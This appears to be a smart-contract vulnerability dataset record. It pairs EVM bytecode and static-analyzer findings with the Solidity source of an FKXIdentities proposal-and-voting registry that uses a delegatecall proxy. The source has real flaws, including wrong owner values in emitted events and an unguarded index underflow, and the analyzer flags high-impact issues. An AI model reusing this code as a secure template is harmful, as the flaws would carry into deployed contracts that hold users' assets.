ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff1615612c7957600080fd5b33600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612cd157600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d2e57612d2c33613a67565b505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612d6857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115612db457600080fd5b612e0683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612fa957600080fd5b612fb38686613769565b50612fc186868686866120d2565b506001905095945050505050565b600080600080600080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561323b57600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020898154811061310457fe5b906000526020600020906004020160030154600a60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208a8154811061316057fe5b906000526020600020906004020160000154600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208b815481106131bc57fe5b906000526020600020906004020160010154600a60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208c8154811061321857fe5b9060005260206000209060040201600201549550955095509550955095506132ea565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506000806000808393508292508191508090509550955095509550955095505b9295509295509295565b60006132ff84613c30565b61330857600080fd5b60008490506133178585610f32565b15613466578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156133f55780820151818401526020810190506133da565b50505050905090810190601f1680156134225780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561344457600080fd5b505af1158015613458573d6000803e3d6000fd5b505050506001915050613468565b505b9392505050565b60086020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461359757600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135ee57600080fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146136eb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561372557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146137c457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156137fe57600080fd5b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561386b57600080fd5b6138de82600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bad90919063ffffffff16565b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061399482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613ba25760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b1c576001915050613ba8565b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613b6757fe5b90600052602060002090600402016000015411613b9557613b888382613c43565b15613b94576001810390505b5b8080600101915050613a6f565b50600190505b919050565b600082821115613bb957fe5b818303905092915050565b600080828401905083811015613bd657fe5b8091505092915050565b600080828481613bec57fe5b0490508091505092915050565b600080831415613c0c5760009050613c2a565b6000828402905082848281613c1d57fe5b0414613c2557fe5b809150505b92915050565b600080823b905060008111915050919050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613c9b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508210613ce957600080fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613d3557fe5b906000526020600020906004020190506000816002015490506000613d67836000015442613bad90919063ffffffff16565b90506000613d82846001015483613be090919063ffffffff16565b9050613dad613d9e856002015483613bf990919063ffffffff16565b84613bc490919063ffffffff16565b9250836003015483106141565783600301549250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110613e0b57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613ed16001600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613bad90919063ffffffff16565b81548110613edb57fe5b9060005260206000209060040201600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110613f3357fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081613fc1919061440b565b506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415614066576000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a261410683600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001945050505050614405565b6141ed6141838560010154614175600185613bc490919063ffffffff16565b613bf990919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002088815481106141cd57fe5b906000526020600020906004020160000154613bc490919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061423757fe5b9060005260206000209060040201600001819055506142ba83600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061429a57fe5b906000526020600020906004020160030154613bad90919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061430457fe5b9060005260206000209060040201600301819055508673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a26143b983600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060009450505050505b92915050565b81548183558181111561443857600402816004028360005260206000209182019101614437919061443d565b5b505050565b61447991905b808211156144755760008082016000905560018201600090556002820160009055600382016000905550600401614443565b5090565b9056fea265627a7a72315820285d73d15ce2150974186be9464570ccc523ae6bec07189dfdd02480af685c0464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,387
0xdc71d5ef5af9340881d108d853bdb64b60d62020
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // END OF library SafeMath contract Roles { // Master Key access, always ONE and ONE ONLY address public superAdmin ; address public canary ; // initiators and validators can be many mapping (address => bool) public initiators ; mapping (address => bool) public validators ; address[] validatorsAcct ; // keep track of the current qty. of initiators around uint public qtyInitiators ; // hard-code the max amount of validators/voters in the system // this is required to initialize the storage for each new proposal uint constant public maxValidators = 20 ; // keep track of the current qty. of active validators around uint public qtyValidators ; event superAdminOwnershipTransferred(address indexed previousOwner, address indexed newOwner); event initiatorAdded(address indexed newInitiator); event validatorAdded(address indexed newValidator); event initiatorRemoved(address indexed removedInitiator); event validatorRemoved(address indexed addedValidator); event canaryOwnershipTransferred(address indexed previousOwner, address indexed newOwner) ; constructor() public { superAdmin = msg.sender ; } modifier onlySuperAdmin { require( msg.sender == superAdmin ); _; } modifier onlyCanary { require( msg.sender == canary ); _; } modifier onlyInitiators { require( initiators[msg.sender] ); _; } modifier onlyValidators { require( validators[msg.sender] ); _; } function transferSuperAdminOwnership(address newOwner) public onlySuperAdmin { require(newOwner != address(0)) ; superAdmin = newOwner ; emit superAdminOwnershipTransferred(superAdmin, newOwner) ; } function transferCanaryOwnership(address newOwner) public onlySuperAdmin { require(newOwner != address(0)) ; canary = newOwner ; emit canaryOwnershipTransferred(canary, newOwner) ; } function addValidator(address _validatorAddr) public onlySuperAdmin { require(_validatorAddr != address(0)); require(!validators[_validatorAddr]) ; validators[_validatorAddr] = true ; validatorsAcct.push(_validatorAddr) ; qtyValidators++ ; emit validatorAdded(_validatorAddr) ; } function revokeValidator(address _validatorAddr) public onlySuperAdmin { require(_validatorAddr != address(0)); require(validators[_validatorAddr]) ; validators[_validatorAddr] = false ; for(uint i = 0 ; i < qtyValidators ; i++ ) { if (validatorsAcct[i] == _validatorAddr) validatorsAcct[i] = address(0) ; } qtyValidators-- ; emit validatorRemoved(_validatorAddr) ; } function addInitiator(address _initiatorAddr) public onlySuperAdmin { require(_initiatorAddr != address(0)); require(!initiators[_initiatorAddr]) ; initiators[_initiatorAddr] = true ; qtyInitiators++ ; emit initiatorAdded(_initiatorAddr) ; } function revokeInitiator(address _initiatorAddr) public onlySuperAdmin { require(_initiatorAddr != address(0)); require(initiators[_initiatorAddr]) ; initiators[_initiatorAddr] = false ; qtyInitiators-- ; emit initiatorRemoved(_initiatorAddr) ; } } // END OF Roles contract contract Storage { // We store here the whole storage implementation, decoupling the logic // which will be defined in FKXIdentitiesV1, FKXIdentitiesV2..., FKXIdentitiesV1n uint scoringThreshold ; struct Proposal { string ipfsAddress ; uint timestamp ; uint totalAffirmativeVotes ; uint totalNegativeVotes ; uint totalVoters ; address[] votersAcct ; mapping (address => uint) votes ; } // storage to keep track of all the proposals mapping (bytes32 => Proposal) public proposals ; uint256 totalProposals ; // helper array to keep track of all rootHashes proposals bytes32[] rootHashesProposals ; // storage records the final && immutable ipfsAddresses validated by majority consensus of validators mapping (bytes32 => string) public ipfsAddresses ; // Helper vector to track all keys (rootHasshes) added to ipfsAddresses bytes32[] ipfsAddressesAcct ; } contract Registry is Storage, Roles { address public logic_contract; function setLogicContract(address _c) public onlySuperAdmin returns (bool success){ logic_contract = _c; return true; } function () payable public { address target = logic_contract; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, target, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } case 1 { return(ptr, size) } } } } contract FKXIdentitiesV1 is Storage, Roles { using SafeMath for uint256; event newProposalLogged(address indexed initiator, bytes32 rootHash, string ipfsAddress ) ; event newVoteLogged(address indexed voter, bool vote) ; event newIpfsAddressAdded(bytes32 rootHash, string ipfsAddress ) ; constructor() public { qtyInitiators = 0 ; qtyValidators = 0 ; scoringThreshold = 10 ; } // Set the score parameter that once reached would eliminate/revoke // validators with scores greater than _scoreMax from the list of authorized validators function setScoringThreshold(uint _scoreMax) public onlySuperAdmin { scoringThreshold = _scoreMax ; } // An initiator writes a new proposal in the proposal storage area function propose(bytes32 _rootHash, string _ipfsAddress) public onlyInitiators { // proposal should not be present already, i.e timestamp has to be in an uninitialized state, i.e. zero require(proposals[_rootHash].timestamp == 0 ) ; // writes the proposal for the _ipfsAddress, timestamp it 'now' and set the qty to zero (i.e. no votes yet) address[] memory newVoterAcct = new address[](maxValidators) ; Proposal memory newProposal = Proposal( _ipfsAddress , now, 0, 0, 0, newVoterAcct ) ; proposals[_rootHash] = newProposal ; emit newProposalLogged(msg.sender, _rootHash, _ipfsAddress ) ; rootHashesProposals.push(_rootHash) ; totalProposals++ ; } // obtain, for a given rootHash, the definitive immutable stored _ipfsAddress function getIpfsAddress(bytes32 _rootHash) constant public returns (string _ipfsAddress) { return ipfsAddresses[_rootHash] ; } // obtain, for a given rootHash, the proposed (not definitively voted yet) _ipfsAddress function getProposedIpfs(bytes32 _rootHash) constant public returns (string _ipfsAddress) { return proposals[_rootHash].ipfsAddress ; } // how many voters have voted for a given proposal? function howManyVoters(bytes32 _rootHash) constant public returns (uint) { return proposals[_rootHash].totalVoters ; } // Validator casts one vote to the proposed ipfsAddress stored in the _rootHash key in the proposals storage area // if _vote == true means voting affirmatively, else if _vote == false, means voting negatively function vote(bytes32 _rootHash, bool _vote) public onlyValidators { // if timestamp == 0 it means such proposal does not exist, i.e. was never timestamped hence // contains the 'zero' uninitialized value require(proposals[_rootHash].timestamp > 0) ; // checks this validator have not already voted for this proposal // 0 no voted yet // 1 voted affirmatively // 2 voted negatively require(proposals[_rootHash].votes[msg.sender]==0) ; // add this validator address to the array of voters. proposals[_rootHash].votersAcct.push(msg.sender) ; if (_vote ) { proposals[_rootHash].votes[msg.sender] = 1 ; // 1 means votes affirmatively proposals[_rootHash].totalAffirmativeVotes++ ; } else { proposals[_rootHash].votes[msg.sender] = 2 ; // 2 means votes negatively proposals[_rootHash].totalNegativeVotes++ ; } emit newVoteLogged(msg.sender, _vote) ; proposals[_rootHash].totalVoters++ ; // check if a majority consensus was obtained and if so, it records the final result in the definitive // immutable storage area: ipfsAddresses if ( isConsensusObtained(proposals[_rootHash].totalAffirmativeVotes) ) { // need to make sure the consensuated vote had not already been written to the storage area ipfsAddresses // so we don't write duplicate info again, just to save some gas :) and also b/c it's the right thing to do // to minimize entropy in the universe... hence, we need to check for an empty string bytes memory tempEmptyString = bytes(ipfsAddresses[_rootHash]) ; if ( tempEmptyString.length == 0 ) { ipfsAddresses[_rootHash] = proposals[_rootHash].ipfsAddress ; emit newIpfsAddressAdded(_rootHash, ipfsAddresses[_rootHash] ) ; ipfsAddressesAcct.push(_rootHash) ; } } } // returns the total number of ipfsAddresses ever stored in the definitive immutable storage 'ipfsAddresses' function getTotalQtyIpfsAddresses() constant public returns (uint) { return ipfsAddressesAcct.length ; } // returns one rootHash which is stored at a specific _index position function getOneByOneRootHash(uint _index) constant public returns (bytes32 _rootHash ) { require( _index <= (getTotalQtyIpfsAddresses()-1) ) ; return ipfsAddressesAcct[_index] ; } // consensus obtained it is true if and only if n+1 validators voted affirmatively for a proposal // where n == the total qty. of validators (qtyValidators) function isConsensusObtained(uint _totalAffirmativeVotes) constant public returns (bool) { // multiplying by 10000 (10 thousand) for decimal precision management // note: This scales up to 9999 validators only require (qtyValidators > 0) ; // prevents division by zero uint dTotalVotes = _totalAffirmativeVotes * 10000 ; return (dTotalVotes / qtyValidators > 5000 ) ; } // Validators: // returns one proposal (the first one) greater than, STRICTLY GREATER THAN the given _timestampFrom // timestamp > _timestampFrom function getProposals(uint _timestampFrom) constant public returns (bytes32 _rootHash) { // returns the first rootHash corresponding to a timestamp greater than the parameter uint max = rootHashesProposals.length ; for(uint i = 0 ; i < max ; i++ ) { if (proposals[rootHashesProposals[i]].timestamp > _timestampFrom) return rootHashesProposals[i] ; } } // returns, for one proposal // identified by a rootHash, the timestamp UNIX epoch time associated with it function getTimestampProposal(bytes32 _rootHash) constant public returns (uint _timeStamp) { return proposals[_rootHash].timestamp ; } // returns the total quantity of active validators // only 'active' ones quantity function getQtyValidators() constant public returns (uint) { return qtyValidators ; } // It returns the address of an active validator in the specific '_t' vector position of active validators // vector positions start at zero and ends at 'getQtyValidators - 1' so in order to get all vaidators // you have to iterate one by one from 0 to ' getQtyValidators -1 ' function getValidatorAddress(int _t) constant public returns (address _validatorAddr) { int x = -1 ; uint size = validatorsAcct.length ; for ( uint i = 0 ; i < size ; i++ ) { if ( validators[validatorsAcct[i]] ) x++ ; if ( x == _t ) return (validatorsAcct[i]) ; } } // returns true if the rootHash was impacted, i.e. it's available and exists in the ipfsAddresses array // and false if otherwise function getStatusForRootHash(bytes32 _rootHash) constant public returns (bool) { bytes memory tempEmptyStringTest = bytes(ipfsAddresses[_rootHash]); // Uses memory if (tempEmptyStringTest.length == 0) { // emptyStringTest is an empty string, hence the _rootHash was not impacted there so does not exist return false ; } else { // emptyStringTest is not an empty string return true ; } } } // END OF FKXIdentities contract // DEBUG info below IGNORE // rootHash examples below, always 32 bytes in the format: // 0x12207D5A99F603F231D53A4F39D1521F98D2E8BB279CF29BEBFD0687DC98458E // 0x12207D5A99F603F231D53A4F39D1521F98D2E8BB279CF29BEBFD0687DC98458F // ipfs address, string: "whatever here", // JUN-5 v1 contract deployed at https://rinkeby.etherscan.io/address/0xbe2ee825339c25749fb8ff8f6621d304fb2e2be5 // JUN-5 v1 contract deployed at https://ropsten.etherscan.io/address/0xbe2ee825339c25749fb8ff8f6621d304fb2e2be5 // SuperOwner account is: 0xFA8f851b63E3742Eb5909C0735017C75b999B043 (macbook chrome) // returns the vote status for a given proposal for a specific validator Address // 0 no voted yet / blank vote // 1 voted affirmatively // 2 voted negatively // function getVoterStatus(bytes32 _rootHash, address _validatorAddr) constant public returns (uint _voteStatus) // { // proposals[_rootHash].votes[_validatorAddr] ; // }
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063042e9a431461017a578063047564b7146101f157806304ee54d2146102345780630694f9d61461027757806306b3bcd1146102a257806308ac52561461034c5780630b9c0c00146103775780630d973d2e146104215780631c624a60146104665780632591432d1461049157806329575f6a146104e85780632c72fdfc1461053f57806332ed5b12146105885780634550fa721461064e5780634d238c8e146106935780636b5d18fd146106d657806376bef6b4146107805780637d8fcfb4146107c9578063813d599f1461080c57806396de6caa146108795780639f2ce678146108a4578063a7bc8c46146108e1578063ac800b3214610926578063b421025714610969578063bd8f997c146109ac578063bdbfccee146109d7578063f5e7b8e314610a32578063fa52c7d814610a5f578063fb00fec614610aba575b600080fd5b34801561018657600080fd5b506101ef6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610b03565b005b3480156101fd57600080fd5b50610232600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d86565b005b34801561024057600080fd5b50610275600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561028357600080fd5b5061028c6111ae565b6040518082815260200191505060405180910390f35b3480156102ae57600080fd5b506102d160048036038101908080356000191690602001909291905050506111b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103115780820151818401526020810190506102f6565b50505050905090810190601f16801561033e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035857600080fd5b50610361611275565b6040518082815260200191505060405180910390f35b34801561038357600080fd5b506103a6600480360381019080803560001916906020019092919050505061127a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e65780820151818401526020810190506103cb565b50505050905090810190601f1680156104135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042d57600080fd5b50610450600480360381019080803560001916906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561047257600080fd5b5061047b611352565b6040518082815260200191505060405180910390f35b34801561049d57600080fd5b506104a6611358565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f457600080fd5b506104fd61137e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054b57600080fd5b5061056a600480360381019080803590602001909291905050506113a4565b60405180826000191660001916815260200191505060405180910390f35b34801561059457600080fd5b506105b76004803603810190808035600019169060200190929190505050611433565b6040518080602001868152602001858152602001848152602001838152602001828103825287818151815260200191508051906020019080838360005b8381101561060f5780820151818401526020810190506105f4565b50505050905090810190601f16801561063c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561065a57600080fd5b5061067960048036038101908080359060200190929190505050611501565b604051808215151515815260200191505060405180910390f35b34801561069f57600080fd5b506106d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611536565b005b3480156106e257600080fd5b50610705600480360381019080803560001916906020019092919050505061173d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074557808201518184015260208101905061072a565b50505050905090810190601f1680156107725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561078c57600080fd5b506107ab600480360381019080803590602001909291905050506117fd565b60405180826000191660001916815260200191505060405180910390f35b3480156107d557600080fd5b5061080a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611839565b005b34801561081857600080fd5b5061083760048036038101908080359060200190929190505050611991565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561088557600080fd5b5061088e611ac2565b6040518082815260200191505060405180910390f35b3480156108b057600080fd5b506108df6004803603810190808035600019169060200190929190803515159060200190929190505050611ac8565b005b3480156108ed57600080fd5b506109106004803603810190808035600019169060200190929190505050612045565b6040518082815260200191505060405180910390f35b34801561093257600080fd5b50610967600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061206d565b005b34801561097557600080fd5b506109aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c5565b005b3480156109b857600080fd5b506109c1612366565b6040518082815260200191505060405180910390f35b3480156109e357600080fd5b50610a18600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612373565b604051808215151515815260200191505060405180910390f35b348015610a3e57600080fd5b50610a5d60048036038101908080359060200190929190505050612393565b005b348015610a6b57600080fd5b50610aa0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123f9565b604051808215151515815260200191505060405180910390f35b348015610ac657600080fd5b50610ae96004803603810190808035600019169060200190929190505050612419565b604051808215151515815260200191505060405180910390f35b6060610b0d6124f1565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b6557600080fd5b600060016000866000191660001916815260200190815260200160002060010154141515610b9257600080fd5b6014604051908082528060200260200182016040528015610bc25781602001602082028038833980820191505090505b50915060c060405190810160405280848152602001428152602001600081526020016000815260200160008152602001838152509050806001600086600019166000191681526020019081526020016000206000820151816000019080519060200190610c30929190612528565b506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005019080519060200190610c759291906125a8565b509050503373ffffffffffffffffffffffffffffffffffffffff167ffa71eaab619fcdb971270378df0533aeb3ac161f486d47b396b861b5c23e983b858560405180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d01578082015181840152602081019050610ce6565b50505050905090810190601f168015610d2e5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a2600384908060018154018082558091505090600182039060005260206000200160009091929091909150906000191690555060026000815480929190600101919050555050505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610e2057600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e7857600080fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600090505b600c54811015610fb3578173ffffffffffffffffffffffffffffffffffffffff16600a82815481101515610f0557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610fa6576000600a82815481101515610f5d57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8080600101915050610ed5565b600c60008154809291906001900391905055508173ffffffffffffffffffffffffffffff